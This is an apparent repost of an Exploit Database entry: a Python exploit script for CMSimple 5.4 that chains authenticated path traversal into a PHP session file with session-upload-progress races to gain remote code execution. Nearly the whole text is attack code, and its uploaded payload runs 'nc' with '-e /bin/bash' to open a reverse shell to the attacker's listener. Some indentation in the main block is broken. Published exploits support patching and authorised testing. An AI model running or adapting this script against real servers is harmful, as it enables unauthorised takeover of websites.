CMSimple 5.4 – Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)

• Exploit Database
• 17 阅读

• 作者： S1lv3r
  日期： 2021-11-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50547/

• # Exploit Title: CMSimple 5.4 - Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)
  # Date: 11/15/2021
  # Exploit Author: S1lv3r
  # Vendor Homepage: https://www.cmsimple.org/en/
  # Software Link: https://www.cmsimple.org/en/
  # Version:CMSimple 5.4
  # Tested on: CMSimple 5.4
  
  # writeup:
  # https://github.com/iiSiLvEr/CMSimple5.4-Vulnerabilities
  
  #!/usr/bin/python3
  import requests
  import threading
  import datetime
  import sys
  from bs4 import BeautifulSoup
  
  
  x = datetime.datetime.now()
  addSeconds = datetime.timedelta(0, 10)
  Time = x + addSeconds
  
  proxies = {"http": "http://127.0.0.1:8080","https": "https://127.0.0.1:8080",}
  def Login():
  	try:
  		global Time
  		s = requests.Session()
  		headers= {"Content-Type": "application/x-www-form-urlencoded"}
  		
  		data = f'login=true&selected=Welcome_to_CMSimple_5&User={User}&passwd={Password}&submit=Login'
  
  		response = s.post(RHOST, data=data, headers=headers, verify=False)#, proxies=proxies
  		if response.cookies['passwd']:
  			print("(+) Sucessfully Logged In With " + User + ":" + Password)
  
  			cookies = response.cookies
  			params = (('file', 'config'),('action', 'array'),)
  			response = s.get(RHOST ,cookies=cookies ,params=params,verify=False)
  			soup = BeautifulSoup(response.text, 'lxml')
  			CsrfValue = soup.find('input',attrs = {'name':'csrf_token'})['value']
  			print("(+) Get CSRF Token: [ " + CsrfValue + " ]")
  			data = f'csrf_token={CsrfValue}&functions_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_S1lv3r&form=array&file=config&action=save'
  			response = s.post(RHOST, headers=headers, cookies=cookies, data=data, verify=False)
  			print("(+) Changing Functions file Done")
  			print("(+) Check Your nc listner on " + LPORT)
  	except Exception as error:
  		print("Error, Exiting;( ")
  		print(error)
  		pass
  def fuzz():
  	while True:
  		try:
  			sessionName = "S1lv3r"
  			cookies = {'PHPSESSID': sessionName}
  			files = {'PHP_SESSION_UPLOAD_PROGRESS':(None,
  				'<?php passthru("nc '+ LHOST +' '+ LPORT + ' -e /bin/bash");?>'),
  				'file': ('Anything', 'S1lv3r'*100, 'application/octet-stream')}
  			x = requests.post(RHOST, files=files, cookies=cookies, verify=False)#, proxies=proxies
  		except Exception as error:
  			print(error)
  			exit()
  def main():
  	print("\n(+) CMSimple LFI to RCE \n")
  	Login()
  	threads = []
  	for _ in range(20):
  		t = threading.Thread(target=fuzz)
  		t.start()
  		threads.append(t)
  	for thread in threads:
  		thread.join
  
  if __name__ == "__main__":
  
  if len(sys.argv) <= 5:
  print("\n(-) Usage: {} <RHOST> <LHOST> <LPORT> <USER> <PASS>".format(sys.argv[0]))
  print("(-) eg: {} https://xyz.xyz 192.168.1.15 1337 ".format(sys.argv[0]))
  print("\n(=) SiLvEr \n")
  exit()
  else:
  	RHOST = sys.argv[1]
  	LHOST = sys.argv[2]
  	LPORT = sys.argv[3]
  	User =sys.argv[4]
  	Password = sys.argv[5]
  	main()